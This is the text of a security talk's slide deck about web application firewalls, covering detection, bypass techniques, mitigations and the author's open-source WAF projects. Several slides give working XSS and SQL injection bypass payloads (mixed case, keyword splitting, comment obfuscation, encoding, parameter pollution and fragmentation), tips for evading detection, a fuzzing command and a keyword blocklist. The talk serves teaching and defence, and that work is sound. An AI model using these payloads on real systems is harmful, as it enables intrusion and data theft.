Slide 1

Slide 1 text

Custom Web application firewall for modern world

Slide 2

Slide 2 text

Whoamy ● Antonio Costa aka Cooler_ ● Projects: Github.com/CoolerVoid ● Contact: [email protected] ● Cyber security engineer ● Programmer/developer ● 13 years of work experience with pentest, codereview, development, incident detection, incident response and hardening.

Slide 3

Slide 3 text

Simple case

Slide 4

Slide 4 text

Request GET /sell/cars.php?search=alert(document.cookie)</ script >

Slide 5

Slide 5 text

Request rules ● Full Match ● Blocklist ● Rank based ● Regex ● DFA ● AI ● ML

Slide 6

Slide 6 text

Other resources for rules ● Block per IP adress ● Leak mitigation(responses) ● Insert anti-csrf tokens ● Detect UserAgent anomaly ● Strong blocklist ● Denial of service ● Force hardening in custom endpoints Headers HSTS, anti-xss, CSP, nosniff… ● Insert cookie attributes, httponly Secure...

Slide 7

Slide 7 text

Practical point view ● Detection the type of WAF ● Common attacks in WAF ● Custom attacks to bypass WAF ● Attack Mitigation in WAF ● Attack Mitigation in application ● Create your custom WAF ● My OpenSource Projects ● Attack and Protection!

Slide 8

Slide 8 text

Detection You can search a pattern in cookie, header response… Each WAF have a different context in response. ● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse ● https://github.com/sandrogauci/wafw00f ● http://code.google.com/p/imperva-detect/

Slide 9

Slide 9 text

Common attacks ● WAFs can be configured to actively block requests and traffic that violate the WAF rule-sets. This is a useful feature, but needs to be used judiciously, an WAF that is in over-active blocking mode prevents legitimate traffic from reaching the Web server, making the application unusable. ● Sometimes have a weak rules, that don’t match attacks to block.

Slide 10

Slide 10 text

Mixed case ● Cool trick to bypass a common rule is mixed case, here the big purpose is bypass absence of case sensitive rules. ● SELECT, SeLect, selEcT… UnIOn, unIoN... ● Look this following: ● /sell/cars.php?search=alert(document.cookie) ● /sell/cars.php?search=AlErt(DoCuMenT.cOoKie)

Slide 11

Slide 11 text

Replace Keywords ● Replace Keywords is common function in WAFs, this resource erase critical points in attacks, but you can bypass this, you need a point to insert attack word between payload. ● Look this following: ● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9 ● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9

Slide 12

Slide 12 text

Spaces to comment ● Replace points to comments is very good way to bypass WAF. ● Look this following: ● /sell/cars.php?search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,database()– - ● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*! ● table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

Slide 13

Slide 13 text

Encode abuse ● Other trick to bypass, is the abuse of encode, sometimes application can render encoded strings... ● Look this following: alert(document.cookie) ● Url encode: %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E ● 64 encode: PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ=

Slide 14

Slide 14 text

Buffer Overflow ● When WAF service don’t have a proper validation in inputs, you can see this problem in fuzzing tests... ● Look this following: ● /cars/id/page/=-25+and+(select 2)=(Select0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A...])+/*!UnIOn*/+/*!selECt*/+4,5,6,7… ● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...) +uNIoN+seLecT+2,3,version()...

Slide 15

Slide 15 text

HTTP Parameter Pollution(HPP) The following request doesn’t allow anyone to conduct an attack: ● /?id=1;select+4,5,6+from+users+where+id=1-- ● This request will be successfully performed using HPP. ● /?id=1;select+4&id=5,6+from+users+where+id=1-- ● Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked

Slide 16

Slide 16 text

Using HTTP Parameter Fragmentation (HPF) execute_query("select * from table where a=".input_a." and b=".input_b); execute_query("select * from table where a=".input_a." and b=".input_b." limit ".input_c); ● The following request doesn’t allow anyone to conduct an attack ● /?a=1+union+select+1,2/* These requests is a possible attack using HPF ● /?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- • The SQL requests become ● select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--

Slide 17

Slide 17 text

Time machine ● Random delay each request ● Random UserAgent per request ● Random IP address per request(Proxy) ● Bypass Intrusion prevention system (IPS) Web application firewall (WAF)

Slide 18

Slide 18 text

Automate ● Project to change your list of payloads using a lot techniques to help bypass a WAF. ● https://github.com/CoolerVoid/payloadmask

Slide 19

Slide 19 text

Fuzzing / Brute ● 0d1n is a tool for automating customized attacks against web applications. ● Open Source ● Use thread pool ● Github.com/CoolerVoid/0d1n

Slide 20

Slide 20 text

Fuzzing / Brute

Slide 21

Slide 21 text

Fuzzing / Brute ● 0d1n –host http://localhost/test.php –post ”car_name_search=ˆ ” –payloads payloads/xss.txt –find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand payloads/proxy.txt

Slide 22

Slide 22 text

Fuzzing / Brute

Slide 23

Slide 23 text

Application mitigations ● Validation and proper sanitization(remove DOM, js, HTML…). ● Prepared Statements (with Parameterized Queries). ● Create a function that check a Block list with common words in attacks (eval,timeout,union,--, select, delete, version, benchmark, sleep, /**/...), set all string to lower case before scan pattern. ● Study your ORM(SQLalchemy, Hibernate...) to prevent pitfalls in resources. ● Follow Mitre and OWASP tricks to hardening etc...

Slide 24

Slide 24 text

Create your WAF

Slide 25

Slide 25 text

Create your WAF ● Study five years around sockets and raw sockets ● Demultiplexer problems (select(), epoll(), kqueue(), pthreads(), MPI…) ● Race conditions ● Testing a lot list of libraries libuv(used by node) libevent(old lib for core of nginx) Python Twisted

Slide 26

Slide 26 text

Create your WAF ● WAF from the scratch RaptorWAF ● Demultiplexer use select() with pthreads ● Have a problem, race conditions in millions connections(lock with mutex cannot save). ● Easy to understand ● Github.com/CoolerVoid/RaptorWAF

Slide 27

Slide 27 text

Create your WAF ● Pthread tests ● Libevent study ● Lighthttpd core study ● The big travel...

Slide 28

Slide 28 text

Create your WAF ● OctopusWAF ● Uses LibEvent ● Have support to heavy connections ● Uses lib Injection to detect SQLi ● Github.com/CoolerVoid/OctopusWAF

Slide 29

Slide 29 text

Create your WAF

Slide 30

Slide 30 text

Detections

Slide 31

Slide 31 text

Detections ● Machine learning ● Natural language ● IA ● Score based ● Uploads (binary checks)

Slide 32

Slide 32 text

Questions ?

Slide 33

Slide 33 text

Thank you Contact: [email protected]